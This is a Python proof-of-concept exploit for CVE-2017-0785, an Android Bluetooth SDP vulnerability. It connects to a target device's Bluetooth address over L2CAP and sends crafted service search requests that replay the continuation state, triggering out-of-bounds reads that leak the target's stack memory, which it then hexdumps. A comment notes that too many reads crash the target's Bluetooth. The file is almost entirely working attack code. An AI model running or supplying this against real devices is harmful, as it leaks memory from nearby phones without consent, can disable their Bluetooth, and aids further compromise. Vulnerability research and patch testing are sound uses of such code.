#!/usr/bin/env python3

'''
Usage:
    sudo ./CVE-2017-0785.py BD_ADDR=XX:XX:XX:XX:XX:XX
'''

import sys
import struct

from bluetooth import BluetoothSocket
from bluetooth import L2CAP
from bluetooth import set_l2cap_mtu

from pwn import hexdump
from pwn import args

PSM_SDP = 0x0001
SDP_SERVICE_SEARCH_REQ = 0x02

ANDROID_CONT_STATE_INFO_LEN = 2

# The InfoLength field of continuation state in Android is always 2
MAXIMUM_SERVICE_RECORD_COUNT_SIZE = 2


def sdp_service_search_req(params:dict) -> bytes:
    '''Construct SDP_SERVICE_SEARCH_REQ pdu
    
    params -- {
        'ServiceSearchPattern': bytes,
        'MaximumServiceRecordCount': int, 2 bytes,
        'ContinuationState': bytes, 1 to 17 bytes,
    }
    '''
    pdu_id = SDP_SERVICE_SEARCH_REQ.to_bytes(1, 'little')
    transaction_id = b'\x00\x00'
    param_len = struct.pack('>H', len(params['ServiceSearchPattern']) + \
        MAXIMUM_SERVICE_RECORD_COUNT_SIZE + len(params['ContinuationState'])
    )
    
    pdu = pdu_id + transaction_id + param_len + \
        params['ServiceSearchPattern'] + \
        params['MaximumServiceRecordCount'].to_bytes(2, 'big') + \
        params['ContinuationState']

    return pdu


def main():
    target_bd_addr = args['BD_ADDR']

    l2cap_mtu = 50

    sock = BluetoothSocket(L2CAP)
    set_l2cap_mtu(sock, l2cap_mtu)

    sock.connect((target_bd_addr, PSM_SDP))

    print('Sending the first SDP_SERVICE_SEARCH_REQ PDU')
    params = {
        'ServiceSearchPattern': b'\x35\x03\x19\x01\x00',
        'MaximumServiceRecordCount': 0xFFFF,
        'ContinuationState': b'\x00'
    }
    sock.send(sdp_service_search_req(params))
    sdp_service_search_rsp = sock.recv(l2cap_mtu)
    
    info_len = sdp_service_search_rsp[-3]
    if info_len != ANDROID_CONT_STATE_INFO_LEN:
        print(sdp_service_search_rsp[-3])
        print('Invalid continuation state received.')
        sys.exit(1)

    stack = b''
    for i in range(1, 30): # 越界读的次数太多会导致目标蓝牙崩溃
        print('Sending packet %d' % i)
        params = {
            'ServiceSearchPattern': b'\x35\x03\x19\x01\x00',
            'MaximumServiceRecordCount': 0x0001,
            'ContinuationState': sdp_service_search_rsp[-3:]
        }
        sock.send(sdp_service_search_req(params))
        sdp_service_search_rsp = sock.recv(l2cap_mtu)
        
        # Leaked info is in ServiceRecordHandleList field
        stack += sdp_service_search_rsp[9:-3]

    sock.close()

    print(hexdump(stack))
    if len(stack) > 20:
        print('CVE-2017-0785')


if __name__ == "__main__":
    main()
